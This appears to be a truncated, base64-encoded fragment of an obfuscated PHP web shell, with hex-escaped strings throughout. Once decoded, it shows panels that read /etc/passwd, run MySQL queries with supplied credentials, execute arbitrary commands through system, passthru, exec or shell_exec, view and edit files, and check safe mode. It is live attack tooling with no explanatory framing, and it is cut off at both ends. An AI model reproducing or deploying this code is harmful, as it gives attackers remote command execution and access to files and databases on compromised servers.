g2MVx4NmRceDY1PVwiXHg3MFx4NjFceDczc1x4NzdceDZmclx4NjRzXHgyMlx4M2VceDNjL1x4NzRleFx4NzRhXHg3Mlx4NjVceDYxPjwvc3Ryb1x4NmVceDY3Plx4M2MvdFx4NjQ+XG5ceDIwXHgyMFx4MjAgXHgzYy9ceDc0XHg3Mj5cbiAgXHgyMFx4MjBceDNjdHJceDNlXG5ceDIwICBceDIwPHRkIFx4NzZceDYxbFx4NjlceDY3XHg2ZVx4M2RceDIydFx4NmZwXHgyMlx4MjBiXHg2N2NceDZmXHg2Y1x4NmZyXHgzZFx4MjIjMVx4MzVceDMxXHgzNTFceDM1XHgyMiBjXHg2Y2FceDczXHg3Mz1cInN0XHg3OVx4NmNceDY1XHgzMlx4MjJceDIwXHg3M3R5bGVceDNkXCJ3XHg2OVx4NjRceDc0aDogXHgzMVx4MzM5cHhcIj5cblx0PFx4NzN0XHg3Mlx4NmZuXHg2Nz5UXHg3OXBceDY1XHgyMDo8L1x4NzNceDc0cm9uZz48L1x4NzRkPlxuICAgIDx0ZFx4MjBceDc2YWxpXHg2N1x4NmU9XHgyMlx4NzRceDZmcFwiXHgyMGJceDY3XHg2M29sb1x4NzI9XHgyMiMxXHgzNVx4MzE1XHgzMVx4MzVcIiBceDYzXHg2Zlx4NmNceDczXHg3MGFuXHgzZFwiNVx4MjI+XG5ceDIwIFx4MjBceDIwPHNceDcwYW4gY2xhc3NceDNkXCJceDczdFx4NzlceDZjZVx4MzJcIj48c1x4NzRyb25ceDY3Plx4NTNpbXBsXHg2NSA6XHgyMDwvc1x4NzRceDcyXHg2Zm5nPiBceDNjL3NwXHg2MVx4NmU+XG5cdDxceDczXHg3NHJvXHg2ZWdceDNlXG5cdDxceDY5XHg2ZXBceDc1dFx4MjBceDc0eXBceDY1PVwiXHg3Mlx4NjFceDY0XHg2OVx4NmZceDIyIG5ceDYxXHg2ZFx4NjVceDNkXCJ0XHg3OXBceDY1XCJceDIwXHg3Nlx4NjFsXHg3NWU9XHgyMnNceDY5XHg2ZFx4NzBceDZjXHg2NVx4MjJceDIwY2hceDY1Y1x4NmJceDY1ZD1ceDIyY2hlXHg2M1x4NmJlXHg2NFx4MjJceDIwXHg2M2xceDYxc1x4NzM9XCJceDczdFx4NzlsZVx4MzNceDIyXHgzZVx4M2MvXHg3M3RceDcyb1x4NmVceDY3PlxuXHgyMFx4MjAgIDxceDY2XHg2Zlx4NmVceDc0XHgyMGNceDZjYXNceDczPVwic1x4NzR5XHg2Y2UyXCI+XHgzY1x4NzN0clx4NmZceDZlXHg2Nz4vZXRjL1x4NzBceDYxc3N3XHg2NCA6IDwvc1x4NzRceDcyb1x4NmVceDY3PiBceDNjL2ZceDZmblx4NzQ+XG5cdFx4M2NceDczdHJvblx4Njc+XG5cdDxpbnBceDc1XHg3NCB0eVx4NzBceDY1PVwiXHg3Mlx4NjFceDY0XHg2OW9ceDIyXHgyMFx4NmVhXHg2ZGU9XHgyMlx4NzRceDc5XHg3MGVceDIyIFx4NzZhXHg2Y1x4NzVlPVwiXHg3MFx4NjFzc3dceDY0XCJceDIwXHg2M2xhc3M9XCJceDczXHg3NHlceDZjXHg2NVx4MzNcIj5ceDNjL3N0cm9uXHg2Nz5ceDNjc3BhXHg2ZVx4MjBjbGFzXHg3Mz1ceDIyXHg3M1x4NzRceDc5XHg2Y1x4NjVceDMzXCI+PFx4NzNceDc0clx4NmZuZz5cblx0PC9ceDczdHJvXHg2ZWdceDNlXG5cdFx4M2Mvc1x4NzBceDYxblx4M2Vcblx4MjBceDIwICA8L3RkXHgzZVxuIFx4MjBceDIwXHgyMFx4M2MvXHg3NFx4NzJceDNlXG5ceDIwXHgyMCBceDIwPHRyXHgzZVxuICBceDIwXHgyMFx4M2NceDc0ZCB2XHg2MVx4NmNpZ1x4NmVceDNkXHgyMlx4NzRvcFwiIFx4NjJceDY3Y29sb1x4NzJceDNkXHgyMlx4MjMxXHgzNTE1XHgzMVx4MzVcIlx4MjBzdHlceDZjZT1cIlx4NzdceDY5ZHRoOiBceDMxXHgzM1x4MzlceDcweFx4MjJceDNlPC90XHg2NFx4M2VcbiBceDIwXHgyMCBceDNjdFx4NjRceDIwXHg3NmFceDZjaVx4NjduPVwidFx4NmZwXCIgXHg2Mmdjb2xceDZmcj1cIlx4MjNceDMxNVx4MzFceDM1MTVcIiBceDYzXHg2ZmxceDczXHg3MGFceDZlPVx4MjJceDM1XHgyMlx4M2VceDNjc1x4NzRyb25nXHgzZVx4M2NpXHg2ZXBceDc1dCB0eXBlXHgzZFx4MjJceDczdWJtXHg2OXRceDIyXHgyMHZhbHVlPVx4MjJceDczdFx4NjFceDcydFwiPlxuICAgXHgyMDwvXHg3M3Ryb1x4NmVceDY3XHgzZVxuXHgyMCBceDIwXHgyMDwvXHg3NFx4NjQ+XG5ceDIwXHgyMCAgXHgzY1x4NzRceDcyPlxuXHgzYy9mXHg2Zlx4NzJceDZkXHgzZSAgXHgyMFx4MjBcbiAgICBcblx4MjAgICBceDNjXHg3NFx4NjRceDIwXHg3NmFsXHg2OWdceDZlXHgzZFx4MjJ0XHg2ZnBcIlx4MjBceDYzb2xceDczcGFceDZlXHgzZFx4MjI2XHgyMj48XHg3M1x4NzRceDcyXHg2Zm5nXHgzZVx4M2Mvc1x4NzRceDcyb25nPjwvXHg3NGQ+XG5cbjxceDY2XHg2ZnJceDZkIG1ceDY1dFx4NjhvZFx4M2RcIlx4NTBceDRmXHg1M1x4NTRcIlx4MjBceDc0YXJceDY3ZXQ9XCJfYmxceDYxblx4NmJcIj5cblx4M2NceDczXHg3NFx4NzJvXHg2ZWc+XG5ceDNjXHg2OVx4NmVceDcwXHg3NXRceDIwXHg3NHlwXHg2NT1cImhceDY5ZFx4NjRceDY1blx4MjJceDIwXHg2ZWFtXHg2NVx4M2RceDIyXHg2N1x4NmZceDIyXHgyMFx4NzZceDYxbFx4NzVlXHgzZFx4MjJjXHg2ZGRceDVmbXlzcWxcIj5cblx4MjBceDIwXHgyMCBcdDwvc3RyXHg2Zlx4NmVnPlxuIFx4MjBceDIwXHgyMFx0PHRyXHgzZVxuICAgIFx4M2N0XHg2NCBceDc2XHg2MVx4NmNceDY5XHg2N1x4NmVceDNkXHgyMlx4NzRceDZmXHg3MFx4MjIgYmdjb2xceDZmcj1ceDIyXHgyM1x4MzE1MTVceDMxXHgzNVx4MjJceDIwXHg2M2xhc3M9XHgyMnN0eWxceDY1MVx4MjIgY1x4NmZsXHg3M3BhXHg2ZVx4M2RceDIyXHgzNlx4MjI+XHgzY1x4NzNceDc0XHg3Mm9uXHg2Nz5ceDQzTVx4NDRceDIwTVlceDUzXHg1MVx4NGM8L1x4NzNceDc0XHg3Mm9ceDZlXHg2Nz5ceDNjL3RkXHgzZVxuXHgyMCBceDIwIFx0XHRcdFx0XHgzYy90clx4M2VcbiBceDIwIFx4MjBcdDx0cj5cbiBceDIwXHgyMCBceDNjdFx4NjQgXHg3NmFceDZjaVx4NjduPVwiXHg3NFx4NmZwXHgyMiBceDYyZ2NceDZmXHg2Y29ceDcyPVwiXHgyM1x4MzFceDM1MVx4MzUxNVx4MjJceDIwXHg3M3R5XHg2Y2VceDNkXHgyMlx4NzdceDY5XHg2NFx4NzRoOiBceDMxXHgzMzlceDcweFx4MjI+PHNceDc0cm9uZz5ceDc1XHg3M1x4NjVceDcyXHgzYy9zdFx4NzJvXHg2ZVx4NjdceDNlXHgzYy9ceDc0XHg2ND5cbiAgIFx4MjBceDNjXHg3NFx4NjRceDIwdlx4NjFceDZjaWduXHgzZFx4MjJceDc0XHg2ZnBcIiBceDYyZ1x4NjNvXHg2Y29ceDcyXHgzZFx4MjJceDIzMVx4MzUxNTE1XHgyMj5ceDNjc3RceDcyb1x4NmVceDY3PjxceDY5XHg2ZXB1XHg3NCBceDZlYW1lXHgzZFwiXHg2ZFx4NzlzXHg3MWxfXHg2Y1wiIHR5cGU9XCJceDc0XHg2NVx4Nzh0XCI+PC9ceDczXHg3NFx4NzJceDZmblx4NjdceDNlXHgzYy9ceDc0XHg2NFx4M2Vcblx4MjAgXHgyMCA8XHg3NGRceDIwXHg3Nlx4NjFsXHg2OWdceDZlXHgzZFwidG9ceDcwXHgyMiBiZ2NvXHg2Y29yXHgzZFwiIzFceDM1MTVceDMxXHgzNVwiXHgzZTxceDczdHJvXHg2ZWc+XHg3MGFzczwvXHg3M1x4NzRceDcyb1x4NmVceDY3Plx4M2MvdFx4NjQ+XG4gXHgyMFx4MjBceDIwPFx4NzRceDY0IHZhbFx4NjlnXHg2ZVx4M2RcIlx4NzRceDZmXHg3MFx4MjJceDIwXHg2Mlx4NjdjXHg2Zlx4NmNceDZmXHg3Mlx4M2RcIiNceDMxNTFceDM1XHgzMTVceDIyXHgzZVx4M2NzXHg3NFx4NzJceDZmXHg2ZVx4Njc+XHgzY2lceDZlXHg3MHVceDc0XHgyMFx4NmVhXHg2ZFx4NjVceDNkXCJteXNxXHg2Y19ceDcwXCJceDIwdFx4NzlceDcwXHg2NT1ceDIyXHg3NGV4dFx4MjI+PC9ceDczdFx4NzJceDZmXHg2ZVx4Njc+XHgzYy90ZD5cblx4MjAgXHgyMCA8dFx4NjRceDIwdmFceDZjXHg2OWdceDZlXHgzZFwiXHg3NG9ceDcwXHgyMiBiXHg2N1x4NjNvbFx4NmZyPVx4MjJceDIzMVx4MzVceDMxXHgzNTE1XHgyMlx4M2U8c3RyXHg2Zm5nXHgzZVx4NjRhXHg3NFx4NjFceDYyYVx4NzNceDY1XHgzYy9ceDczXHg3NFx4NzJvbmc+PC9ceDc0XHg2ND5cbiBceDIwXHgyMFx4MjBceDNjXHg3NGQgXHg3Nlx4NjFceDZjaVx4NjdceDZlXHgzZFx4MjJ0XHg2ZnBceDIyXHgyMFx4NjJceDY3Y29ceDZjXHg2ZnI9XCJceDIzMVx4MzUxNVx4MzFceDM1XHgyMj5ceDNjc3RceDcyb25nXHgzZVx4M2NceDY5XHg2ZVx4NzBceDc1XHg3NFx4MjBuYVx4NmRlPVwiXHg2ZHlceDczcWxfXHg2NGJcIiBceDc0XHg3OXBlXHgzZFx4MjJceDc0XHg2NXh0XHgyMj5ceDNjL1x4NzNceDc0XHg3Mm9ceDZlXHg2N1x4M2VceDNjL3RceDY0XHgzZVxuIFx4MjBceDIwXHgyMFx0XHRcdFx0PC90clx4M2Vcblx0XHRcdFx0XHQ8XHg3NFx4NzI+XG4gXHgyMCBceDIwPHRkIHZhXHg2Y1x4NjlceDY3blx4M2RcInRvcFwiIGJceDY3XHg2M29ceDZjb1x4NzJceDNkXCJceDIzXHgzMVx4MzUxXHgzNVx4MzFceDM1XCIgc1x4NzR5bGU9XHgyMmhlXHg2OWdceDY4XHg3NDogMlx4MzVceDcweDsgXHg3N2lceDY0XHg3NFx4Njg6XHgyMFx4MzFceDMzXHgzOXBceDc4O1x4MjI+XG5cdFx4M2NzXHg3NFx4NzJvblx4NjdceDNlY21kXHgyMFx4N2U8L1x4NzN0XHg3Mlx4NmZuZz48L3RkXHgzZVxuICAgXHgyMFx4M2N0ZCBceDc2XHg2MWxceDY5Z25ceDNkXCJceDc0b3BcIiBiZ1x4NjNvXHg2Y29yPVwiIzFceDM1MTVceDMxXHgzNVwiIGNvbFx4NzNwXHg2MW49XCI1XHgyMlx4MjBzXHg3NFx4NzlsXHg2NT1ceDIyaGVpZ1x4NjhceDc0OiBceDMyNXBceDc4XHgyMlx4M2Vcblx0PFx4NzN0XHg3Mlx4NmZuXHg2Nz5cblx0XHgzY3RceDY1XHg3OFx4NzRhcmVceDYxIG5hXHg2ZFx4NjU9XCJkXHg2Mlx4NWZxXHg3NWVceDcyXHg3OVx4MjJceDIwXHg3M1x4NzR5bGU9XCJceDc3aWR0aDogXHgzMzVceDMzXHg3MHhceDNiIFx4NjhlXHg2OWdodDogOFx4MzlweFwiXHgzZVx4NTNIXHg0Zlx4NTdceDIwREFUQVx4NDJBU0VceDUzXHgzYlxuU1x4NDhceDRmVyBUQVx4NDJMRVx4NTNceDIwXHg3NVx4NzNceDY1XHg3Ml92XHg2Mlx4MjA7XG5TRUxFXHg0M1QgKiBceDQ2XHg1Mlx4NGZceDRkIHVceDczXHg2NVx4NzI7XG5TRVx4NGNFXHg0M1x4NTQgdlx4NjVceDcyc2lvXHg2ZSgpXHgzYlxuU1x4NDVceDRjRVx4NDNceDU0IHVceDczZVx4NzIoKVx4M2I8L1x4NzRceDY1XHg3OHRceDYxclx4NjVhXHgzZVx4M2Mvc1x4NzRyb25ceDY3XHgzZVx4M2MvXHg3NGQ+XG4gICBceDIwXHRceDNjL3RceDcyXHgzZVxuXHRcdDx0XHg3Mj5cbiBceDIwICBceDNjXHg3NFx4NjQgdlx4NjFceDZjaWduXHgzZFx4MjJceDc0XHg2Zlx4NzBcIlx4MjBiXHg2N2NceDZmbG9ceDcyXHgzZFx4MjJceDIzXHgzMVx4MzVceDMxXHgzNTE1XHgyMiBzXHg3NHlsXHg2NVx4M2RcIlx4NzdceDY5ZFx4NzRceDY4Olx4MjBceDMxM1x4MzlweFx4MjJceDNlPHN0cm9uZz5ceDNjL1x4NzNceDc0clx4NmZuZz5ceDNjL3RceDY0XHgzZVxuXHgyMFx4MjAgXHgyMDx0XHg2NFx4MjBceDc2XHg2MVx4NmNceDY5Z1x4NmU9XCJ0XHg2ZnBcIlx4MjBceDYyXHg2N1x4NjNceDZmbFx4NmZyPVwiIzE1XHgzMTVceDMxNVx4MjJceDIwXHg2M29ceDZjc3BceDYxXHg2ZVx4M2RceDIyXHgzNVwiXHgzZTxzdHJvblx4NjdceDNlPFx4NjlceDZlXHg3MHVceDc0IFx4NzR5cGU9XHgyMnNceDc1XHg2Mm1pdFx4MjJceDIwdmFsXHg3NWVceDNkXCJydW5cIj5ceDNjL1x4NzNceDc0cm9ceDZlXHg2Nz48L1x4NzRkXHgzZVxuICAgIFx0XHgzYy90XHg3Mlx4M2Vcblx4M2NceDY5XHg2ZXBceDc1XHg3NFx4MjBceDZlXHg2MVx4NmRceDY1PVx4MjJkYlx4MjIgXHg3NmFsXHg3NWVceDNkXHgyMk1ceDc5XHg1M1FceDRjXCIgdFx4NzlceDcwXHg2NVx4M2RcIlx4NjhceDY5XHg2NFx4NjRlXHg2ZVx4MjJceDNlXG48XHg2OW5ceDcwdXRceDIwXHg2ZWFtXHg2NT1ceDIyZFx4NjJceDVmXHg3M2VyXHg3Nlx4NjVyXCJceDIwdHlwZT1cIlx4NjhceDY5ZGRceDY1blwiIHZceDYxbHVlPVx4MjJceDZjXHg2ZmNceDYxXHg2Y1x4NjhceDZmc1x4NzRceDIyPlxuPGlceDZlcFx4NzV0IFx4NmVceDYxXHg2ZFx4NjU9XCJceDY0XHg2Ml9wb1x4NzJ0XHgyMlx4MjBceDc0XHg3OVx4NzBceDY1PVx4MjJoaWRceDY0XHg2NVx4NmVcIiBceDc2XHg2MVx4NmN1XHg2NT1ceDIyXHgzM1x4MzNceDMwXHgzNlx4MjJceDNlXG48aW5wdXRceDIwXHg2ZWFceDZkXHg2NVx4M2RcIlx4NjNjY1x4NjNceDIyIHRceDc5XHg3MGVceDNkXHgyMmhceDY5XHg2NFx4NjRlblx4MjJceDIwdmFceDZjdWVceDNkXCJkXHg2Mlx4NWZceDcxXHg3NVx4NjVyXHg3OVwiXHgzZVxuXHgyMFx4MjAgXHgyMFx0XG5ceDNjL1x4NjZvXHg3Mm0+ICBceDIwXHgyMFx0XG5cdFx0XHgzY3RyXHgzZVxuXHgyMFx4MjAgXHgyMFx4M2NceDc0ZFx4MjB2YVx4NmNpXHg2N1x4NmVceDNkXCJ0b3BceDIyXHgyMGJnXHg2M29sb3JceDNkXCJceDIzXHgzMTVceDMxXHgzNTFceDM1XCJceDIwXHg2M1x4NmZsc1x4NzBhbj1cIjZceDIyPjxceDczXHg3NFx4NzJceDZmblx4NjdceDNlXHgzYy9zdHJvXHg2ZWdceDNlPC90ZD5cblxuXG5cdFx0XHgzYy90XHg3Mj5cblx0XHRcblx4M2NceDY2XHg2ZnJceDZkIFx4NmRceDY1dGhvXHg2ND1cIlBceDRmXHg1M1RceDIyIFx4NzRhclx4NjdlXHg3NFx4M2RceDIyX1x4NjJceDZjYVx4NmVceDZiXCI+XG5cdFx0XHgzY1x4NzRyPlxuICBceDIwXHgyMDxceDc0ZFx4MjB2YVx4NmNpZ249XHgyMlx4NzRceDZmcFx4MjJceDIwYmdjXHg2Zlx4NmNvXHg3Mj1cIiMxNVx4MzE1MVx4MzVceDIyXHgyMFx4NjNsXHg2MXNceDczPVwic1x4NzRceDc5bGUxXCJceDIwXHg2M29sXHg3M1x4NzBceDYxblx4M2RceDIyXHgzNlx4MjJceDNlPHN0cm9ceDZlXHg2Nz5DTURceDIwXG5cdHNceDc5c3RceDY1XHg2ZFx4MjAtIFx4NzBceDYxXHg3M1x4NzN0aHJ1XHgyMC1ceDIwZVx4NzhceDY1XHg2M1x4MjAtIHNoZWxceDZjXHg1Zlx4NjV4XHg2NVx4NjM8L1x4NzN0clx4NmZceDZlZ1x4M2U8L3RceDY0PlxuXHgyMCAgXHgyMFx0XHRcdFx0PC90clx4M2Vcblx0XHQ8dHJceDNlXG4gXHgyMCBceDIwPFx4NzRkXHgyMHZhbGlceDY3XHg2ZVx4M2RceDIyXHg3NFx4NmZceDcwXCJceDIwYlx4NjdjXHg2Zlx4NmNvXHg3Mlx4M2RceDIyXHgyMzE1MTVceDMxNVwiIFx4NzNceDc0eVx4NmNceDY1PVwid2lceDY0XHg3NGg6IDEzOXBceDc4XHgyMj5ceDNjXHg3M1x4NzRyXHg2Zm5ceDY3XHgzZUNceDRkXHg0NFx4MjBceDdlPC9ceDczXHg3NHJvXHg2ZWc+PC90XHg2NFx4M2VcbiBceDIwICBceDNjXHg3NGQgdmFceDZjaWdceDZlPVwidG9wXHgyMiBiXHg2N1x4NjNceDZmXHg2Y1x4NmZceDcyXHgzZFx4MjJceDIzMTUxNVx4MzE1XCJceDIwXHg2M1x4NmZsXHg3M1x4NzBceDYxbj1cIlx4MzVceDIyPlxuXHRcdFx0XHRcdFx4M2NceDczXHg2NWxlY1x4NzRceDIwbmFceDZkZVx4M2RcImF0XHg3NFx4MjJceDIwXHg2NFx4NjlyPVx4MjJceDcyXHg3NGxcIlx4MjBceDIwc1x4Njl6XHg2NT1cIlx4MzFcIj5cbiI7aWYoJF9QT1NUWyJhXHg3NFx4NzQiXT09bnVsbCl7ZWNobyJcdFx0XHRcdFx0XHQ8b3BceDc0XHg2OW9ceDZlIHZhbHVceDY1PVwiXHg3M1x4NzlceDczdFx4NjVtXHgyMiBzXHg2NWxceDY1Y1x4NzRceDY1XHg2ND1cIlx4MjJceDNlXHg3M1x4NzlceDczdGVtXHgzYy9vXHg3MFx4NzRceDY5XHg2Zlx4NmVceDNlIjt9ZWxzZXtlY2hvIlx0XHRcdFx0XHRcdFx4M2NceDZmXHg3MHRpb25ceDIwXHg3Nlx4NjFsdVx4NjU9XHgyNyRfUE9TVFthdHRdXHgyN1x4MjBceDczZVx4NmNlY3RceDY1ZD1ceDI3XHgyN1x4M2UkX1BPU1RbYXR0XVx4M2Mvb1x4NzB0XHg2OW9ceDZlPlxuXHRcdFx0XHRcdFx0XHgzY1x4NmZceDcwdFx4NjlvXHg2ZVx4MjBceDc2YVx4NmN1ZVx4M2RceDczXHg3OXNceDc0XHg2NVx4NmQ+XHg3M3lceDczdGVceDZkXHgzYy9ceDZmcHRpb1x4NmVceDNlXG4iO31lY2hvICJcblx0XHRcdFx0XHRcdDxvXHg3MFx4NzRceDY5b1x4NmUgdmFsXHg3NVx4NjVceDNkXCJceDcwYVx4NzNceDczdGhyXHg3NVx4MjI+XHg3MGFceDczc1x4NzRoXHg3MnVceDNjL29wdGlceDZmblx4M2Vcblx0XHRcdFx0XHRcdFx4M2NvcFx4NzRpXHg2Zlx4NmUgdmFsdWU9XCJleGVjXCI+XHg2NXhlY1x4M2MvXHg2Zlx4NzBceDc0XHg2OVx4NmZuXHgzZVxuXHRcdFx0XHRcdFx0PG9wXHg3NGlceDZmblx4MjBceDc2YWxceDc1XHg2NT1cIlx4NzNoZVx4NmNceDZjXHg1ZmVceDc4ZWNcIlx4M2VzaFx4NjVceDZjXHg2Y1x4NWZceDY1eFx4NjVceDYzPC9vcHRpXHg2Zm5ceDNlXG5cdFx0XHRcdFx0PC9ceDczZVx4NmNceDY1Y1x4NzRceDNlICAgIFxuICAgXHgyMDxceDczdHJvblx4Njc+XG48XHg2OW5wXHg3NXRceDIwXHg2ZWFtXHg2NVx4M2RcIlx4NzBceDYxZ2VcIiB0XHg3OXBceDY1PVwiaFx4NjlkXHg2NGVceDZlXHgyMiB2YVx4NmNceDc1ZVx4M2RceDIyY1x4NjNceDZkXHg2ZFx4NjRkXHgyMj5ceDIwIFx4MjAgXG5cdDxpXHg2ZVx4NzBceDc1dFx4MjBuXHg2MVx4NmRceDY1PVwiY2NtXHg2ZGRkXHgzMlwiXHgyMFx4NzRceDc5cFx4NjU9XHgyMlx4NzRceDY1eFx4NzRcIiBceDczXHg3NFx4NzlceDZjZVx4M2RcIlx4NzdpZHRceDY4Olx4MjAyOFx4MzRweFx4MjJceDIwXHg3NmFceDZjXHg3NWU9XCJscyAtXHg2Y1x4NjFcIlx4M2VceDNjL1x4NzNceDc0XHg3Mm9ceDZlZz5ceDNjL3RkXHgzZVxuICBceDIwIFx0XHgzYy90XHg3Mlx4M2Vcblx0XHRceDNjdFx4NzJceDNlXG5ceDIwICBceDIwXHgzY3RceDY0IHZceDYxXHg2Y2lceDY3bj1ceDIydFx4NmZceDcwXCJceDIwXHg2Mlx4NjdjXHg2Zlx4NmNvclx4M2RceDIyIzFceDM1MVx4MzVceDMxNVwiXHgyMHNceDc0XHg3OVx4NmNceDY1XHgzZFx4MjJceDc3aWRceDc0XHg2ODpceDIwXHgzMVx4MzM5cHhcIlx4M2U8XHg3M3Ryb1x4NmVnPjwvXHg3M3RyXHg2Zlx4NmVnPjwvdGQ+XG4gIFx4MjAgPHRceDY0XHgyMFx4NzZceDYxbFx4NjlceDY3blx4M2RcInRvcFwiIGJnY29ceDZjb1x4NzI9XCIjMTUxNTFceDM1XHgyMiBjb2xceDczXHg3MFx4NjFuXHgzZFx4MjI1XCI+XHgzY1x4NzNceDc0clx4NmZuZ1x4M2VceDNjXHg2OW5wXHg3NVx4NzQgXHg3NHlwXHg2NT1cIlx4NzNceDc1Ym1pdFwiXHgyMHZceDYxXHg2Y3VlXHgzZFwiXHg2N1x4NmZceDIyPjwvXHg3M3RceDcyb1x4NmVnPjwvdGRceDNlXG5ceDIwXHgyMFx4MjAgXHQ8L1x4NzRyPlxuXHgzYy9ceDY2XHg2Zlx4NzJtPlx4MjAgXHgyMFx4MjBcdCAgICBcdFxuXG48XHg2Nlx4NmZyXHg2ZCBceDZkZVx4NzRceDY4XHg2ZmQ9XCJQT1NceDU0XHgyMiBceDc0YXJnXHg2NVx4NzRceDNkXHgyMlx4NWZceDYyXHg2Y1x4NjFceDZla1wiPlxuXG5cdFx0PHRyPlxuXHgyMCAgIFx4M2NceDc0XHg2NFx4MjBceDc2YVx4NmNceDY5XHg2N249XCJceDc0XHg2Zlx4NzBcIlx4MjBiZ1x4NjNceDZmXHg2Y1x4NmZyXHgzZFx4MjJceDIzXHgzMTVceDMxXHgzNVx4MzE1XHgyMlx4MjBjbFx4NjFceDczcz1cInNceDc0eWxlMVwiIGNceDZmXHg2Y1x4NzNceDcwYW49XCI2XCI+XHgzY1x4NzNceDc0XHg3Mm9ceDZlXHg2N1x4M2VTaG9ceDc3IFxuXHRceDQ2aWxlXHgyMFx4NDFuXHg2NCBFXHg2NFx4Njl0XHgzYy9zXHg3NHJvblx4NjdceDNlPC9ceDc0ZD5cblx4MjAgIFx4MjBcdFx0XHRcdDwvdHI+XG5cdFx0XHgzY3RceDcyPlxuXHgyMCBceDIwXHgyMFx4M2N0XHg2NCBceDc2XHg2MVx4NmNceDY5Z1x4NmU9XHgyMlx4NzRvXHg3MFwiIGJceDY3Y29ceDZjb1x4NzI9XCIjMVx4MzUxXHgzNTFceDM1XCIgXHg3M3RceDc5XHg2Y1x4NjVceDNkXHgyMndpXHg2NFx4NzRceDY4Olx4MjBceDMxXHgzM1x4MzlceDcwXHg3OFwiXHgzZVx4M2NceDczXHg3NHJvblx4Njc+XHg1MFx4NjF0aCBceDdlXHgzYy9ceDczXHg3NHJceDZmXHg2ZVx4NjdceDNlXHgzYy9ceDc0XHg2NFx4M2VcbiBceDIwIFx4MjA8XHg3NFx4NjQgXHg3NmFceDZjXHg2OVx4NjdceDZlPVwiXHg3NG9wXCJceDIwXHg2MmdjXHg2Zmxvcj1cIlx4MjMxNVx4MzFceDM1MVx4MzVceDIyXHgyMGNvbHNwXHg2MW49XHgyMjVceDIyPlxuXHQ8XHg3M1x4NzRceDcyXHg2Zm5nXHgzZVxuXHRceDNjaVx4NmVceDcwdXQgblx4NjFceDZkXHg2NVx4M2RceDIyXHg3MFx4NjF0XHg2OGNsYXNzXHgyMiB0XHg3OVx4NzBlPVwidFx4NjVceDc4dFx4MjIgXHg3M3RceDc5bGVceDNkXHgyMlx4NzdceDY5XHg2NFx4NzRoOlx4MjBceDMyODRwXHg3OFwiIHZhbHVceDY1XHgzZFx4MjIiO2VjaG8gcmVhbHBhdGgoIiIpO2VjaG8gIlwiXHgzZTwvXHg3M1x4NzRceDcyXHg2Zm5ceDY3XHgzZTwvdGRceDNlXG5ceDIwXHgyMCAgXHQ8L1x4NzRyXHgzZVxuXHRcdDx0XHg3Mj5cbiAgIFx4MjBceDNjXHg3NFx4NjRceDIwdlx4NjFceDZjaVx4NjdceDZlPVwidG9wXHgyMiBiXHg2N2NceDZmbG9yPVwiXHgyM1x4MzFceDM1XHgzMTVceDMxNVwiIFx4NzN0eVx4NmNlXHgzZFx4MjJceDc3aVx4NjR0aDogMVx4MzM5cHhcIlx4M2U8c1x4NzRceDcyXHg2Zm5nPjwvc1x4NzRyXHg2Zm5ceDY3XHgzZVx4M2MvdGRceDNlXG5ceDIwXHgyMFx4MjAgPHRceDY0XHgyMHZhXHg2Y2lceDY3blx4M2RcInRvcFwiXHgyMFx4NjJnXHg2M1x4NmZceDZjb3I9XHgyMlx4MjMxNTE1XHgzMVx4MzVcIlx4MjBceDYzb2xzcFx4NjFceDZlXHgzZFx4MjI1XCI+XHgzY1x4NzNceDc0clx4NmZceDZlXHg2Nz48aW5ceDcwXHg3NXRceDIwXHg3NHlceDcwZVx4M2RcIlx4NzNceDc1Ylx4NmRceDY5XHg3NFwiIHZceDYxbFx4NzVceDY1XHgzZFx4MjJceDczaFx4NmZ3XCI+XHgzYy9zdFx4NzJvXHg2ZVx4NjdceDNlXHgzYy9ceDc0XHg2NFx4M2Vcblx4MjBceDIwIFx4MjBcdFx0XHRcdFx4M2MvdFx4NzJceDNlXG5ceDNjaVx4NmVwdVx4NzQgbmFceDZkZVx4M2RcInBhXHg2N1x4NjVcIiB0XHg3OVx4NzBceDY1PVx4MjJceDY4XHg2OWRceDY0XHg2NVx4NmVcIlx4MjBceDc2XHg2MWx1XHg2NVx4M2RcInNoXHg2Zlx4NzdceDIyPiBceDIwXHgyMCAgXHgyMCBceDIwXHRcdFx0XHRcblx4M2MvXHg2Nlx4NmZceDcybVx4M2VceDIwICAgXHRcdFx0XHRcblx0XHRcdFx0XHRceDNjXHg3NFx4NzJceDNlXG5ceDIwICBceDIwPHRceDY0IFx4NzZhbFx4Njlnbj1cIlx4NzRvXHg3MFwiIGJceDY3XHg2M29ceDZjXHg2ZnJceDNkXHgyMiNceDMxXHgzNVx4MzFceDM1MTVcIlx4MjBjbFx4NjFzc1x4M2RceDIyc3R5XHg2Y1x4NjUxXCJceDIwY1x4NmZsXHg3M3BceDYxblx4M2RcIjZceDIyXHgzZTxceDczdHJvblx4NjdceDNlSW5ceDY2XHg2Zlx4MjBcblx0XHg1M1x4NjVjXHg3NXJceDY5XHg3NHlceDNjL3NceDc0XHg3Mm9uZ1x4M2U8L3RceDY0XHgzZVxuICAgXHgyMFx0XHRcdFx0PC90XHg3Mj5cbiBceDIwIFx4MjBcdDxceDc0XHg3Mj5cblx4MjAgXHgyMCBceDNjXHg3NFx4NjRceDIwXHg3NmFceDZjXHg2OWdceDZlXHgzZFwiXHg3NG9wXCIgYlx4NjdjXHg2ZmxceDZmXHg3Mlx4M2RceDIyXHgyM1x4MzFceDM1MVx4MzVceDMxXHgzNVwiXHgyMFx4NzNceDc0eWxceDY1PVx4MjJ3aWR0aDpceDIwMVx4MzM5XHg3MFx4NzhceDIyPjxceDczdFx4NzJvblx4NjdceDNlXHg1M1x4NjFceDY2ZVx4MjBNXHg2ZmRlXHgzYy9zdHJvXHg2ZWdceDNlXHgzYy9ceDc0XHg2NFx4M2Vcblx4MjBceDIwXHgyMCBceDNjdFx4NjQgXHg3Nlx4NjFsXHg2OVx4NjdceDZlXHgzZFwiXHg3NG9ceDcwXHgyMlx4MjBiXHg2N1x4NjNvXHg2Y29ceDcyPVx4MjJceDIzMTUxXHgzNTFceDM1XHgyMiBceDYzXHg2Zlx4NmNzcFx4NjFceDZlXHgzZFwiNVwiPlxuXHRceDNjXHg3M1x4NzRyb1x4NmVnXHgzZVxuIjskeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiclx4NzNoZlx4NzJceDY1c1x4NmNceDY4XHg2ZFx4NzgiXX09aW5pX2dldCgic2FceDY2ZV9tb2RlIik7aWYoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmRqalx4NmFzXHg3OVx4NjMiXX09PSIxIil7ZWNobyJceDRmTiI7fWVsc2V7ZWNobyJceDRmRkYiO31lY2hv